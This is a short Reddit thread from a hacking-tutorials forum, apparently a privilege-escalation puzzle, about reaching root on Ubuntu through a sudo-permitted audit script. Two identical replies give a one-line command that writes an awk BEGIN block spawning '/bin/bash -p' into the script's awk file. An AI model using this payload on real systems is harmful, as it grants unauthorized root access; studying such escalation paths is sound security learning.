r/Hacking_Tutorials • • 5d ago

Question Low-privilege shell on Ubuntu. Sudo lets you run /usr/local/bin/audit as root. Can you reach root?

[removed]

2 Upvotes

3 comments sorted by

1

u/XeVoriax 4d ago

the awk might be the weak spot here, anyone tested writing to it?

1

u/bummyjabbz 4d ago

echo 'BEGIN { system("/bin/bash -p") }' > /opt/scripts/parse.awk

Then execute audit script

1

u/bummyjabbz 4d ago

echo 'BEGIN { system("/bin/bash -p") }' > /opt/scripts/parse.awk

Then execute audit script